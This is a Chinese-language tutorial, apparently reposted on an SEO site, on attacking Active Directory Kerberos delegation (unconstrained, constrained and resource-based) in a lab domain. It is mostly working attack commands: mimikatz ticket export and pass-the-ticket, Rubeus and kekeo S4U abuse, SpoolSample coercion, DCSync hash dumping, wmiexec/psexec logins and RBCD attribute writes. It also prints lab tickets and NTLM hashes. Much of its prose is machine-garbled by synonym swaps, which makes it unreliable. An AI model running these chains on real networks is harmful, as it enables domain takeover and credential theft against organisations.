首页 » SEO优化 » phpsqlsrvvb技巧_域渗透之委派进击

phpsqlsrvvb技巧_域渗透之委派进击

访客 2024-12-07 0

扫一扫用手机浏览

文章目录 [+]

非约束性委派(Unconstrained Delegation):做事账号可以要求得到域内用户的TGT,做事账号利用该TGT仿照域内用户访问任意做事。
被配置为非约束委托的系统将把TGT(Ticket Granting Ticket)存储到LSASS内存中,以便利用户能够访问终端资源。
非约束委派的设置须要SeEnableDelegation权限,一样平常为管理员具有此权限。

非约束性委派流程图:

phpsqlsrvvb技巧_域渗透之委派进击

域内用户A经由Kerberos认证后访问WEB做事器WEB做事器以做事账户B向KDC要求用户A的可转发票据TGTKDC检讨B的委派属性,下发TGT做事账户B利用TGT向KDC申请做事票据TGS(访问文件做事器等功能)KDC检讨委派属性和申请的做事,下发TGS做事账户利用TGS访问其他做事

一些把稳点:

phpsqlsrvvb技巧_域渗透之委派进击
(图片来自网络侵删)
域控机器账户默认配置非约束性委派环境先容

域名: redteam.lab域控: 操作系统: Windows Server 2016 主机名: DC2016 IP: 10.10.2.20域内主机: 操作系统: Windows 10 主机名: WIN10-1 IP: 10.10.2.100攻击机: 操作系统: kali Liux IP: 10.10.2.77

把稳: 这里Kali也在内网中,紧张是便于技能的展示,在实际情形中须要搭建代理,可以利用frp、chisel等代理工具,再利用proxychains进行代理的连接!

侦查方法:ADFind

# ADFind查询非约束委派普通账户AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn# ADFind查询非约束机器账户AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

侦查方法:PowerView

# PowerView查询非约束委派的机器账户powershell-import PowerView.ps1powershell Get-NetComputer –unconstrained | select dnshostname, samaccountname

攻击思路1:布局做事账户票据

利用条件:

做事账户设置了非约束性委派已知做事账户的密码口令信息

这里已知mssqlsrv做事账户密码123.com,并且ken设置了非约束性委派利用kekeo工具进行操作:

# 布局做事账户ken的票据kekeo.exe "tgt::ask /user:mssqlsrv /domain:redteam.lab /password:123.com /ticket:mssqlsrv.kirbi" "exit"# 利用刚才假造的ken票据,向域做事器申请CIFS做事票据kekeo.exe "Tgs::s4u /tgt:TGT_mssqlsrv@REDTEAM.LAB_krbtgt~redteam.lab@REDTEAM.LAB.kirbi /user:administrator@redteam.lab /service:cifs/DC2016.redteam.lab" "exit"# 利用mimikatz将该票据注入当前的会话中,mimikatz.exe "kerberos::ptt TGS_administrator@redteam.lab@REDTEAM.LAB_mssqlsrv@REDTEAM.LAB.kirbi" "exit"# 访问目标共享盘dir \\DC2016\C$攻击思路2:诱使域管理员访问机器

偏空想化,不实用

当域管理员利用net use等远程访问命令,仿照域控管理员访问WIN7主机,设置了非约束性委派的主机可以抓取到域控管理员的TGT。
利用条件:

须要Administrator权限域内主机的机器账户开启非约束委派域控管理员远程访问

假设域控管理员实行:

# 域控用户访问域内主机net use \\WIN10-1.redteam.lab

导出票据,实行攻击

# 域内主机导出票据mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"# 查看票据mimikatz.exe "kerberos::list"# 清空票据,可以利用绝对路径kerberos::purge [ticket]

# 导入内存mimikatz.exe "kerberos::ptt [0;cfd6c]-2-0-60a10000-Administrator@krbtgt-REDTEAM.LAB.kirbi" "exit"# 访问目标盘dir \\DC2016.redteam.lab\c$

攻击思路3:结合打印机漏洞

强制运行打印做事(Print Spooler)的主机向目标主机发起 Kerberos 或 NTLM 认证要求。

利用条件:

须要Administrator权限

利用过程:利用Rubeus工具监听

# 查询打印做事是否开启|域控上查看sc query spooler# 利用Rubeus监听来自域控的票据Rubeus.exe monitor /interval:2 /filteruser:DC2016$

利用SpoolSample工具实行打印机漏洞利用,进行逼迫验证

# 逼迫回连,得到域控机器账户的TGTSpoolSample.exe DC2016 WIN10-1

Rubeus监听到票据并导入该票据

# rubeus导入票据Rubeus.exe ptt /ticket:doIFGjCCBRagAwIBBaEDAgEWooIEIzCCBB9hggQbMIIEF6ADAgEFoQ0bC1JFRFRFQU0uTEFCoiAwHqADAgECoRcwFRsGa3JidGd0GwtSRURURUFNLkxBQqOCA90wggPZoAMCARKhAwIBAqKCA8sEggPHdOzGGhqNLMiflfgJCrXq6OzfDy1u+wHM8mdH8IpkVEbl+TX5liKAPQ/i4nIewzu9yq8kO9tEZYRhARky6B2Bw4RWD6tx9nytF24Q6AhvpzIfxAK2zJ1fLX5AtH9yyqbVVdd+ryoR8PjUCl09IdyfdmTfMW45olQhHVMG1l2Oz9agg8tUANOFT9HjbxrDJjgCvFMEJ7hJ3s1dsYORZfvXk31J4fn3VRLHj/5N9XpQQ5n8T24p8KGmvfK/SdPDU4im/Jud5syF60l1sMH/UUr4UYaHSAFM3ui1sgaeO45MdPq7hAVVRaBX8WjogadUTeRghh47nH4aAsbAqxmmCNkTKkYSAPdc8fKIAFQNSONpEsBnaCrLo+QoD/x+VIkNHbPYA7Zt3kb/neoH65zP5PTm95pAjmnx7P56/UdwgxkVTd7KHsj4VQ/7BsHx8GfpXKcmev08KSGvMvXM6+zr9XbrnLne6bnabNTUHuqfh6+4qImMlig6RMmeSpJa0hFAzJdhzkZGO9LLL2OZSOME2ngSvffCunaNqdIGEbev8i5kVMhwg4upv9tClWW+h0mEJWeZ332WF2LKI2VEKjQePAbkM3UUmr+1vUXKEcKPEqQ58fQH2+Nr4naONswOTVb1CLdXB7/SdfCcYU26Pgm7vQnl2uNb6LhlpPYAXGoaofUjRV0d3JIR+2oXSt5ia5auCyhU6/nKXPP1KBCiQzjRACSOyeRivxTaxVZExbtLNi932psyMOKCb6qE/JHyhve5Iu/nBp78RcfjoTrNaqUCO/ZxA2AUlUEpcmoU+Vmm+fQEb828EZtKFoyxKPBKtbK/jLsgk8qEoy5JwIEmMIeIP0D95vc+Rzp5A/WSiN0yn9RXqd8On/UBjOW7O42uKhrVJrJ5ClOu+HdHN2WkejBkslnBJYSaL+A69eA5qb+yAJhJqmlSFupfGhQhzm/YNDdcifKU+47R3WF3n9OvSqQgLush9/hkGPgwVLp1Wj6LQHzofIujVRDOybAeNt+lATwzQGVHpeUOWy/iXV/UxTPGT3VBiPpIm1E813QKw8eWTxLm5YeQJrk0Uyj/qalqqo5gskI0fY7Sq60pMA9t1TA6nrdmcQzesKWAcf6QmEmQorTcPw4znaM5QSKAGwRQRGGt57RADimgrs/R2K3Rqa3C/ePlSgaPJN3jS5AGHF9j1/MJE0Eb8ZwPXTI0P77NCDWthqK7wFzcyKkrpNjodMf/KFs96wkVqWBJ0Xy5qza9rFy/r79WZtICfxLfbdF8KGrS5LCCIYKMVhPq56OB4jCB36ADAgEAooHXBIHUfYHRMIHOoIHLMIHIMIHFoCswKaADAgESoSIEIP6GQ/T97TyQDQUyz2ZnOBxcZEcgQ0iexOoMgGUOzdNUoQ0bC1JFRFRFQU0uTEFCohQwEqADAgEBoQswCRsHREMyMDE2JKMHAwUAYKEAAKURGA8yMDIyMDUxODA3NDcxMFqmERgPMjAyMjA1MTgxNzQ3MTBapxEYDzIwMjIwNTI1MDc0NzEwWqgNGwtSRURURUFNLkxBQqkgMB6gAwIBAqEXMBUbBmtyYnRndBsLUkVEVEVBTS5MQUI=

利用mimikatz导出Hash

# mimikatz导出域内用户Hashmimikatz.exe "lsadump::dcsync /domain:redteam.lab /user:REDTEAM\Administrator" "exit"

利用wmiexec远程登录:

python3 wmiexec.py -hashes :83a140d89e42046e8daf5394d386a69a redteam.lab/administrator@DC2016.redteam.lab -no-pass

0x03 约束性委派攻击观点

Widnows Server 2003 之后微软引入了非约束委派。
同时,为了顺利进行约束性委派,微软于2007年为 Kerberos 协议的 TGS_REQ 和 TGS_REP 阶段引入了两个扩展协议S4u2self(Service for User to Self)和S4U2proxy(Service for User to Proxy)。

约束委派有两种

仅利用Kerberos,不能进行协议转换利用任何身份验证协议S4u2self & S4U2proxy

S4U2self协议许可做事代表任意用户要求访问自身做事的ST做事票据S4U2proxy协议许可做事在已取得ST做事票据下代表任意用户获取另一个做事的做事票据约束委派限定了S4U2proxy协议的要求范围,使得配置了委派属性的做事只能仿照用户身份访问特定的其他做事。

配置了约束性委派的账户属性会有如下两个变革:

账户userAccountControl属性会被设置为TRUSTED_TO_AUTH_FOR_DELEGATION标志位,值为16781312账户的msDS-AllowedToDelegateTo属性,添加许可委派的做事环境先容

域名: redteam.lab域控: 操作系统: Windows Server 2016 主机名: DC2016 IP: 10.10.2.20域内主机: 操作系统: Windows 10 主机名: WIN10-1 IP: 10.10.2.100攻击机: 操作系统: kali Liux IP: 10.10.2.77

把稳: 这里Kali也在内网中,紧张是便于技能的展示,在实际情形中须要搭建代理,可以收用frp、chisel等攻击,再利用proxychains进行代理的连接!

侦查方法:ADFind

# AdFind.exe查询约束委派机器账户AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=))" msds-allowedtodelegateto# AdFind.exe查询约束委派做事账户AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=))" cn distinguishedName msds-allowedtodelegateto

侦查方法:PowerView

# 导入powershell-import PowerView.ps1# PowerView查询约束委派机器账户powershell Get-DomainComputer -TrustedToAuth -domain redteam.lab -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize# PowerView查询约束委派做事账户powershell Get-DomainUser –TrustedToAuth -domain redteam.lab -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

攻击思路1:利用机器账户的票据 | kekeo

约束性委派攻击的关键便是得到可转发的做事票据ST获取根据约束性委派的实行过程可知,只要掌握配置约束性委派做事的机器,并得到了它的密码,那么我们就可以挟制这台主机的kerberos要求过程,终极得到任意用户权限的ticket

利用条件:

须要Administrator权限目标机器账户配置了约束性委派

利用mimikatz工具导出lsass.exe进程中所有的票据,得到想要的做事票据

# 导出票据mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

利用kekeo工具申请做事票据(S4U2Proxy协议)

# 申请做事票据kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-1-40e10000-WIN10-1$@krbtgt-REDTEAM.LAB.kirbi /user:Administrator@redteam.lab /service:cifs/DC2016.redteam.lab" "exit"

# 导入票据mimikatz.exe "kerberos::ptt TGS_Administrator@redteam.lab@REDTEAM.LAB_cifs~DC2016.redteam.lab@REDTEAM.LAB.kirbi" "exit"# 访问dir \\DC2016.redteam.lab\c$

攻击思路2.1:利用机器账户的Hash值 | Rubeus

与思路一类似,但是这里利用的是Hash值利用条件:

须要Administrator权限目标机器账户配置了约束性委派

利用mimikatz获取NTLM Hash值

# 利用mimikatz获取机器账户NTLM Hashmimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"8f91f8786d308e62c609688886dc7c4c

利用Rubeus申请访问自身的可转发做事票据

# 利用Rubeus申请配置了约束委派机器账户WIN10-1$的TGTRubeus.exe asktgt /user:WIN10-1$ /rc4:8f91f8786d308e62c609688886dc7c4c /domain:redteam.lab /dc:DC2016.redteam.lab /nowrap

# 利用Rubeus通过S4U2Self协议代表域管理员Administrator要求针对域控LDAP做事的票据,并注入内存Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC2016.redteam.lab /dc:DC2016.redteam.lab /ptt /ticket:doIE7DCCBOigAwIBBaEDAgEWooIEBDCCBABhggP8MIID+KADAgEFoQ0bC1JFRFRFQU0uTEFCoiAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLmxhYqOCA74wggO6oAMCARKhAwIBAqKCA6wEggOoM8VAe67r80K7kucYIn8+7OGwBh7K0P3+J3PvGUYPVlz2+WFR9jNWhQ8SiK0Qwa0uUaZhH6RxZO0GXrW13YcRxuomfopTCDZCq0J5LlAyr+sYq4C+VDR+1n/W8/hMP4rqsdZqfVK7z8jmUhFbB1TGRu7MKuxexQ0Kmr2ae6sH8RmuFEAJHwjS3LXZqtB6AVf3V04fT5PrLatDiLs8DAVHgD18kJwRsF34qjKsC2jsGWeXZkjNsuQFV31HQN0TtAsMR7vftYHag7jYuzmwAvAvKE8fgtoi8Yf6GcFCvKutA65Tc8oSJDG3nd5LdpAuPRPo/SAJn4ujs9SUTjTXWEXNp69uSrdFZ7hR/8yPiZLw1hPoOm3ZlUTGBuUclxep28tDgaA1alBNsH5iAmza1fGj6FUOUoYvRGpC3B4zqs+o2Bd3dNDaHNFcTCc8O6Dcti1q7bhNnLmQZcTq1rTRI0e0mPvPet+xV/obRc2r1qxzjAq5/BhjFu94B+IaolJXoFVoIvz67nSe/h6459xnUPrgqh2PsnwfeakR4CLqcgAbyEOoQV4MWpOJrDgjoBeZ8lfGTY97vIvA0fAuRdqy5L4JX6b+LQxt5fZdCChfMh+YQl1zQs/UYST6UD9xqRvF7l84YGN0lsQYboMHSoZfj4bE2ii1MmrC/18jI/vwZKBjg5aY8MfpTvsSih/IxeVr9YEAOCCsEFFlq7i/UuWP+hiMaGqldqw2eZHwRmobHaJWLmzgErJXYZcRNz84EuLoDdQTWMWpXV8Glr3c+BwPlFOITpwixL8KDKM8PA0kOFok/ci+zlVY/mf3dA6pXmzDKkT0boTczXsOc7zZx4sc34YysY/sSQvqb2sZAvvW1+v1J4N4t8i+/QN1upuk/npqPwDfUhyi7AeO+fcVpCn4ziaNqfebzdh3F3ZmgdrdViTq6I84QACKwzVHH59rjzN81pLuYqGw49B4g3xWYvo1ZA1lJsGGZFa4JwFw3q1fk6Q3qgTGlO0fn/7VFQjtLmJBe6LwtLkTySQsQvZxAHMc8Euc2jZgLGwyR8ViKRo9BmbhYblChJCOrq/14JP2GTHYgMuVx4iSqEVGjnm9/crfWLgbTaSVJ7UChqGzKquer2RuDqNPpcxMPuj9aHfor5ItRhfdnDyni8IQj5zUv4bEBWoRWwyTGk+8UpeGsMbSpEMjoH7q0tw4xyGkTRD/Bz3CWjW/bLtqcB07W2Et9EKTJQh1lzTGNi4GvNhso4HTMIHQoAMCAQCigcgEgcV9gcIwgb+ggbwwgbkwgbagGzAZoAMCARehEgQQRhdvpI6qSFO1Eo5nYZxvZKENGwtSRURURUFNLkxBQqIVMBOgAwIBAaEMMAobCFdJTjEwLTEkowcDBQBA4QAApREYDzIwMjIwNTE4MDkzNTE1WqYRGA8yMDIyMDUxODE5MzUxNVqnERgPMjAyMjA1MjUwOTM1MTVaqA0bC1JFRFRFQU0uTEFCqSAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLmxhYg==# 直接dirdir \\DC2016.redteam.lab\c$

攻击思路2.2:利用机器账户的Hash值 | getST

同思路2同等,也是利用机器账户的Hash值,但这里利用Impacket工具套件中的getST.py脚本要求做事票据,并利用该脚本通过wmiexec.py工具远程登录利用条件:

须要Administrator权限目标机器账户配置了约束性委派

# mimikatz获取机器账户NTLM Hash值mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"# 利用getST申请做事票据python3 getST.py -dc-ip 10.10.2.20 -spn CIFS/DC2016.redteam.lab -impersonate administrator redteam.lab/WIN10-1$ -hashes :8f91f8786d308e62c609688886dc7c4c# 利用票据远程访问KRB5CCNAME=administrator.ccache python3 wmiexec.py -k redteam.lab/administrator@DC2016.redteam.lab -no-pass -dc-ip 10.10.2.20

攻击思路2.3:利用机器账户的Hash值 | kekeo

# 要求票据kekeo.exe "tgt::ask /user:WIN10-1$ /domain:redteam.lab /NTLM:8f91f8786d308e62c609688886dc7c4c" "exit"# 申请administrator权限的票据kekeo.exe "tgs::s4u /tgt:TGT_WIN10-1$@REDTEAM.LAB_krbtgt~redteam.lab@REDTEAM.LAB.kirbi /user:Administrator@redteam.lab /service:cifs/DC2016.redteam.lab" "exit"# mimikatzmimikatz.exe "kerberos::ptt TGS_Administrator@redteam.lab@REDTEAM.LAB_cifs~DC2016.redteam.lab@REDTEAM.LAB.kirbi" "exit"# 访问dir \\DC2016.redteam.lab\c$

0x04 基于资源的约束性委派攻击观点

微软在Windows Server 2012 中新引入基于资源的约束性委派(Resource Based Constrained Delegation, RBCD),RBCD不须要通过具备SeEnableDelegationPrivilege权限的域管理员进行修正,而是将设置属性的权限给了做事资源本身。

配置了RBCD的账户属性有如下变革:

msDS-AllowedToActOnBehalfOfOtherIdentity属性指向委派账户

可以将基于资源的约束性委派理解为传统的约束性委派的反向过程。
以 Service 1 和 Service 2 两个做事为例,传统的约束性委派须要在 Service 1 上设置 msDS-AllowedToDelegateTo 属性,以指定对 Service 2 上的哪一个做事进行委派。
而在基于资源的约束性委派中,须要在 Service 2 年夜将 msDS-AllowedToActOnBehalfOfOtherIdentity 属性值设为 Service 1 的 SID,以许可 Service 1 对 Service 2 上的做事进行委派。

此外,在传统的约束性委派中,通过 S4u2self 申请到的 ST 票据一定是可转发的,如果不可转发,则后续的 S4U2Proxy 阶段将失落败。
但是在基于资源的约束性委派中,不可转发的 ST 票据仍旧可以通过 S4U2Proxy 阶段对其他做事进行委派认证。

攻击核心条件具有对主机修正msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限可以创建机器账户(或已知机器账户)

那么什么用户具备修正msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限呢?

将该主机加入域的用户账户账户中有一个mSDS-CreatorSID属性,用于标记加入域时利用的用户账户SID值,进一步就可以知道一些具有加入域权限的用户账户了!
Account Operator组成员该主机的机器账户以上三个分别对应下面的攻击思路123

而谁可以创建机器账户呢?对付一样平常域成员,由msDS-MachineAccountQuota属性决定,默认可以创建10个机器账户。

环境先容

域名: redteam.lab域掌握器: 操作系统: Windows Server 2016 主机名: DC2016 IP: 10.10.2.20域内做事器: 操作系统: Windows Server 2012 主机名: SERVER2012 IP: 10.10.2.50域内主机1: 操作系统: Windows 10 主机名: WIN10-1 IP: 10.10.2.100域内主机2: 操作系统: Windows 7 主机名: WIN7-1 IP: 10.10.2.101攻击机: 操作系统: kali Liux IP: 10.10.2.77

把稳: 这里Kali也在内网中,紧张是便于技能的展示,在实际情形中须要搭建代理,可以收用frp、chisel等攻击,再利用proxychains进行代理的连接!

侦查思路:由机器找到可修正委派权限的用户

核心目标:找到可修正msDS-AllowedToActOnBehalfOfOtherIdentity的用户我将这种思路定义为反向查找:已知机器账户,找到使其加入域中的用户账户,这个用户账户就具备修正msDS-AllowedToActOnBehalfOfOtherIdentity的权限

# 利用adfind.exe查找机器账户的mS-DS-CreatorSID属性AdFind.exe -h 10.10.2.20 -u ken -up 123.com -b "DC=redteam,DC=lab" -f "objectClass=computer" mS-DS-CreatorSID# 利用Powershell反查SID对应的用户powerpick $objSID = New-Object System.Security.Principal.SecurityIdentifier S-1-5-21-3309395417-4108617856-2168433834-1104;$objUser = $objSID.Translate([System.Security.Principal.NTAccount]);$objUser.Value

侦查思路:由用户查询其加入域中的机器

和上面相反,这里我将其定义为正向查找:已知用户查找到通过该用户加入域中的机器,

# 查用户账户SIDwhoami /all# 利用PowerView查经由该用户加入域内的机器账户(主机)# 须要具备GeneriCall或WriteProperty等修正权限powershell-import PowerView.ps1powerpick Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-3309395417-4108617856-2168433834-1104"} | select objectdn,activedirectoryrights

攻击思路1:通过管理主机加入域的用户拿下主机

权限提升 | 横向移动

关键:能修正那台做事资源的委派属性,就可以拿下该台主机

利用条件:

许可创建机器账户具有管理主机加入域的用户账户1 添加机器账户

# 利用addcpmputer创建机器账户python3 addcomputer.py redteam.lab/ken:123.com -method LDAPS -computer-name CPT01\$ -computer-pass Passw0rd -dc-ip 10.10.2.20# 利用bloodyAD工具创建机器账户python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT01 'Passw0rd'# 利用PowerMad工具创建机器账户

2 设置委派属性

利用PowerView工具查询机器账户SID

Get-NetComputer CPT01 -Properties objectsidS-1-5-21-3309395417-4108617856-2168433834-1108

修正做事资源的委派属性,即msDS-AllowedToActOnBehalfOfOtherIdentity属性

# 导入powershell Set-ExecutionPolicy Bypass -Scope Process. .\powerview.ps1powershell-import PowerView.ps1powerpick $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3309395417-4108617856-2168433834-1108)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WIN7-1 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose# 查询属性(后一条命令利用到了ActiveDirectory模块,域控默认带)powerpick Get-DomainComputer SERVER2012 -Properties msds-allowedtoactonbehalfofotheridentity

# 域控查询命令Get-ADComputer SERVER2012 -Properties PrincipalsAllowedToDelegateToAccount# 打消属性Set-DomainObject SERVER2012 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose3-1 申请做事票据 | getST.py

利用getST.py申请票据

# 利用getST.py申请票据python3 getST.py redteam.lab/CPT01$:Passw0rd -spn cifs/SERVER2012.redteam.lab -impersonate administrator -dc-ip 10.10.2.20# 导入票据export KRB5CCNAME=/root/Desktop/administrator.ccache# 直接登录python3 wmiexec.py -k redteam.lab/administrator@SERVER2012.redteam.lab -no-passpython3 psexec.py -k redteam.lab/administrator@SERVER2012.redteam.lab -no-pass

3-2 申请做事票据 | Rubeus

利用Rubeus申请票据

# 通过Rubeus申请机器账户CPT01$的TGTRubeus.exe asktgt /user:CPT01$ /password:Passw0rd /domain:redteam.lab /dc:DC2016.redteam.lab /nowrap# 利用S4U2Self协议申请TGS并且利用S4U2Proxy协议要求cifs做事票据ST,注入内存中Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/SERVER2012.redteam.lab /dc:DC2016.redteam.lab /nowrap /ptt /ticket:doIE2DCCBNSgAwIBBaEDAgEWooID8jCCA+5hggPqMIID5qADAgEFoQ0bC1JFRFRFQU0uTEFCoiAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLmxhYqOCA6wwggOooAMCARKhAwIBAqKCA5oEggOWx0emir2j0Me0AEZiGIF6iCN9gm6S9/VwFmYy8F9s5+FFyHDmSWjfLJotWqg/BXyB94ueiRrMXRkOYhKxLfUaJ4OJyGLxTv/oHQ9eM5EBe1QG1h5IufgR6T0Z23wknxOQA/JOP32HIoroCn84tHHlWrDx8JVu2bCKqfR3pqmnQCZXfb/3ydfNeqdf3hlF917Py5cMWKtDWBiMUx9HdtGto3d65JDaZTvetV5inE3+Ze+Z+dt/pE7CGtO1CrXjBVKmZTDq6i6oxOlOPcZo30TTIF0DW2jQBH1fZmn4z6o7Wv8uD/SycHV+BXv9Yjv4b0ESAaqZ4zt+zNvcBT0jrGTgrdOmvgKuc3wM0uHvfOOShx+TBrmjYbnrjd1vyTSbq/q4Ugyon+0hsQng5Dxb78QwfukVyTGfKuEqp9ar63kav99xl7EJUyv+TfhJsbYWBRH0ebyVl62eFkDi+cgPFF3isvdNao8Oc6zu+JJzbV3XguPFtmJlBUGYP/IWfxkfRg24tYvo+gaYW3NCuvp/yavpCT9WakKmwhKpXPQlLVZ5dPIuBHfiYY9eCRBD7L5WtXhgRh3ELLhA7UAkB7Q8rB9kle3QIdnHdQMeqBTPvv3k5JC9yybtYOg184w00OR0MCO88697KcvS0mbUN30XRp0CMwKSmKftIPbMvGjflzm5yWypezJ/I7cNwh+NyaFP2WE0kSh0zjR7acFe7NzK6eGMpJCksEuTa1Gp6FpJ1g2g2s3UqWyIyJpT8Rw9x/VMSbInvgfZV649Doh6OjbYPvct3WplSOo+U12Abec+Dog4zg4kLhBQ9zx6I5YGOh1zscS5A9ig0lzt8ZTa+H4vG3UGy7QcDsy624pUZ5GM2vXgyPVmVKBUrLmRFjPqJKd2xW2D5Vve9vF9QD8ZiGjJkjawI1xoo4OyeuRO1QBWWaR2U7zyWnj/NRW0MeCQEvw9ay6MlT5/yLNf6XQG+2z/n1zrLYkOxjH7LhL6qFjPDA9ECzF+bBs09ahifFruIxLC24EjZNCJ42rWZig6MyOppUmSdpDCoBrX0Dtwmw+3rPTCkzlUSpSQ2Axf4EdrA8mFtY370uJLlPgqqiRQPOeM5lxGFfgxeYwwYUab96CTgfo1qRIAHxIYqGZ3Qb0B6EOMzjGLeyvfK5p8Uv9DT1M3kQJnAgi5rlrlt8KmYiYAhgLa/okVKSxUIjfE8rgLucKrRTz1k2NevBR3o4HRMIHOoAMCAQCigcYEgcN9gcAwgb2ggbowgbcwgbSgGzAZoAMCARehEgQQ75YaW7Y0HIYQtAyZ4UavYaENGwtSRURURUFNLkxBQqITMBGgAwIBAaEKMAgbBkNQVDAxJKMHAwUAQOEAAKURGA8yMDIyMDUxODE1MDg0MFqmERgPMjAyMjA1MTkwMTA4NDBapxEYDzIwMjIwNTI1MTUwODQwWqgNGwtSRURURUFNLkxBQqkgMB6gAwIBAqEXMBUbBmtyYnRndBsLcmVkdGVhbS5sYWI=# 访问dir \\SERVER2012.redteam.lab\c$

小技巧:Base64加密的票据转.kirbi文件

[IO.File]::WriteAllBytes("C:\Users\Public\Documents\ticket.kirbi",[Convert]::FromBase64String("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"))攻击思路2:已知Acount Operators组用户拿下主机

权限提升 | 横向移动

在攻击思路1中,拿到掌握加入域的用户后,可以得到其下加入的主机。
而思路2中的Acount Operators组用户可以得到域内除域控的所有主机。

利用条件:

获取到属于Acount Operators组的用户账户可以创建机器账户

Acount Operators组成员可以修正域内任意主机的msDS-AllowedToActOnBehalfOfOtherIdentity属性

1 查询Acount Operators组成员

adfind.exe -h 10.10.2.20:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=redteam,DC=lab member

2 创建机器账户

